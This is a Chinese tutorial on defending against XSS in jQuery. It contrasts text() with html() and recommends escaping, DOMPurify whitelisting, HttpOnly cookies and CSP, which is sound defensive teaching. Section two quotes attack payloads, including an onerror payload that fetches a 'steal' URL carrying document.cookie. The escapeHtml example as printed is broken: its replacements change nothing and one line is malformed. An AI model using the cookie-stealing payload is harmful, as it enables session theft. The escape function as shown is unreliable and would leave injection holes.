导读:本期聚焦于雪花创作的《如何通过jQuery.text()与.html()的安全过滤防止XSS跨站脚本攻击》,敬请观看详情。当页面把用户输入的内容直接塞进DOM时,一段看似普通的留言就可能变成可执行的脚本,这就是XSS跨站脚本攻击的典型场景。jQuery提供的text与html两个方法在处理内容时机制完全不同:text会按纯文本处理,天然屏蔽标签解析;html则会把字符串交给浏览器解析,稍有不慎就会引入注入风险。本文围绕这两个方法展开,分析常见的危险用法,给出输入过滤、输出编码、DOMPurify白名单清洗等防御手段,并对比escapeHtml、内容净化与CSP等方案的适用场景,帮助你在动态渲染内容时守住安全底线。

在前端开发中,把用户输入渲染到页面上是再常见不过的操作:评论区展示留言、搜索框回显关键词、后台管理系统输出配置信息。很多开发者习惯性地调用jQuery.html()来填充内容,却忽略了这一个决定性的问题:这个字符串里如果藏了一段脚本,浏览器会不会执行它?答案是会。这就是XSS(跨站脚本攻击)的核心成因——不可信数据在没有经过安全处理的情况下被当作HTML解析。本文将围绕text()html()这两个方法的行为差异,详细讲解如何正确过滤与转义,从源头上阻断XSS。

如何通过jQuery.text()与.html()的安全过滤防止XSS跨站脚本攻击

一、text()与html()的本质区别:谁在解析内容

理解这两个方法的差异是防御XSS的第一步。text()方法在写入内容时,会调用DOM节点的textContent属性,浏览器把传入的字符串当作纯文本处理,任何标签、实体、脚本都会被当成普通字符显示,不会被解析执行。

html()方法内部使用的是innerHTML。浏览器拿到字符串后会启动HTML解析器,标签会被识别为元素,事件属性会被绑定,<script><img onerror>这类载荷就会真正运行起来。来看一个直观的对比:

var malicious = '<img src=x onerror="alert(1)">';

// 安全:页面上显示的是这串文本本身,不会弹窗
$('#box1').text(malicious);

// 危险:img标签被解析,onerror触发执行
$('#box2').html(malicious);

一个简单的判断原则:如果内容不需要任何HTML格式(纯文本展示),一律使用text()。这是成本最低、最不容易出错的防御手段,因为不解析就意味着不执行。

二、html()的危险用法分析与常见攻击载荷

使用html()并非绝对禁止,问题在于把不可信数据直接拼接进去。以下几种典型写法都存在风险:

// 风险1:直接渲染用户输入
$('#comment').html(userInput);

// 风险2:拼接变量到HTML片段中
$('#tip').html('<b>' + keyword + '</b>');

// 风险3:从URL参数取值回显
var q = new URLSearchParams(location.search).get('q');
$('#searchTip').html('搜索:' + q);

攻击者只需要在输入框提交<script>alert(document.cookie)</script>,或者构造<img src=x onerror="fetch('https://ipipp.com/steal?c='+document.cookie)">,就能在其他访问者的浏览器中执行任意代码,窃取Cookie、伪造操作、挂马跳转都可能发生。注意即使<script>通过innerHTML插入不执行,事件型载荷如onerror、onload、onmouseover依然有效,还有<svg onload><iframe src="javascript:...">等变种,不能只防script标签。

另一个容易忽视的场景是jQuery选择器注入:当用户输入被直接传给$()作为选择器时,精心构造的字符串可能被当作HTML片段解析。因此涉及用户输入时,应避免$(userInput)这种写法,改用明确的上下文查找。

三、必须使用html()时:转义、白名单净化与纵深防御

当业务确实需要渲染富文本(比如允许加粗、换行)时,就不能简单用text()了。此时应遵循两条路线:输出前转义,或使用白名单净化。

路线一是对所有不可信数据做HTML实体转义,再拼接进模板:

function escapeHtml(str) {
  return String(str)
    .replace(/&/g, '&')
    .replace(/</g, '<')
    .replace(/>/g, '>')
    .replace(/"/g, '"')
    .replace(/'/g, ''');
}

// 先转义用户输入,再拼入受控的HTML结构
$('#tip').html('<b>' + escapeHtml(keyword) + '</b>');

注意转义顺序:必须先替换&,否则后续替换产生的实体会被二次转义。另外<>、引号都要覆盖,只防尖括号是不够的,因为属性上下文中的引号闭合同样能造成注入。

路线二是使用成熟的净化库DOMPurify,它基于白名单机制清洗HTML,只保留允许的标签和属性,自动移除事件属性与javascript伪协议:

var clean = DOMPurify.sanitize(dirtyHtml, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'a'],
  ALLOWED_ATTR: ['href']
});
$('#content').html(clean);

相比自己写正则过滤黑名单,白名单方式不会遗漏新出现的攻击载荷,安全性明显更高。自写正则去剔除script标签的方案几乎必然被绕过,例如大小写混淆、属性注入、编码绕过等手法层出不穷。

纵深防御:多层级配合

除了输出端的处理,还应配合以下措施构建多层防线:

  • 输入校验:对长度、格式、字符集做严格校验,例如手机号只允许数字,但不依赖输入过滤防XSS,因为数据可能经过多个入口。
  • 服务端转义:数据入库前保留原样,输出时根据上下文(HTML、属性、JS、URL)分别编码,前端只做兜底。
  • HttpOnly Cookie:设置该标志后JavaScript无法读取Cookie,即便发生注入也难以窃取会话。
  • CSP响应头:配置Content-Security-Policy禁止内联脚本执行,作为最后一道保险。

四、安全编码清单与最佳实践总结

把前面的内容收敛成一份可直接落地的检查清单:

场景推荐做法
纯文本展示(昵称、评论正文)使用text(),天然安全
需要拼接简单标签对变量先escapeHtml()再拼入html()
渲染富文本DOMPurify白名单净化后交给html()
构建元素document.createElement$('<span>').text(...)而不是拼字符串
属性赋值使用.attr()传值,不要把用户输入拼进HTML字符串
URL跳转校验协议只允许http/https,拒绝javascript:伪协议

再补充一个细节:jQuery 3.x已经移除了对<script>标签的部分处理行为,但这不意味着html()变安全了,事件型载荷依旧可执行,升级版本不能替代内容过滤。

总结来说,防御XSS的核心思想是数据与代码分离:不可信数据永远是数据,绝不让它有机会被当成代码解析。记住三条铁律——能用text()就不用html();必须用html()时对不可信部分转义或净化;永远不要相信来自用户的任何输入,包括URL参数、Cookie和接口返回值。把这套习惯贯彻到日常编码中,绝大多数存储型与反射型XSS都能被有效拦截。

jQueryXSS防范前端安全修改时间:2026-08-31 13:43:00

免责声明:​ 已尽一切努力确保本网站所含信息的准确性。网站内容多为原创整理与精心编撰,观点力求客观中立。本站旨在免费分享,内容仅供个人学习、研究或参考使用。若引用了第三方作品,版权归原作者所有。如内容涉及您的权益,请联系我们处理。
内容垂直聚焦
专注技术核心技术栏目,确保每篇文章深度聚焦于实用技能。从代码技巧到架构设计,为用户提供无干扰的纯技术知识沉淀,精准满足专业提升需求。
知识结构清晰
覆盖从开发到部署的全链路。AI、前端、编程、数据库、服务器、建站、系统层层递进,构建清晰学习路径,帮助用户系统化掌握开发与运维所需的核心技术。
深度技术解析
拒绝泛泛而谈,深入技术细节与实践难点。无论是数据库优化还是服务器配置,均结合真实场景与代码示例进行剖析,致力于提供可直接应用于工作的解决方案。
专业领域覆盖
精准对应开发生命周期。从前端界面到后端编程,从数据库操作到服务器运维,形成完整闭环,一站式满足全栈工程师和运维人员的技术需求。
即学即用高效
内容强调实操性,步骤清晰、代码完整。用户可根据教程直接复现和应用于自身项目,显著缩短从学习到实践的距离,快速解决开发中的具体问题。
持续更新保障
专注既定技术方向进行长期、稳定的内容输出。确保各栏目技术文章持续更新迭代,紧跟主流技术发展趋势,为用户提供经久不衰的学习价值。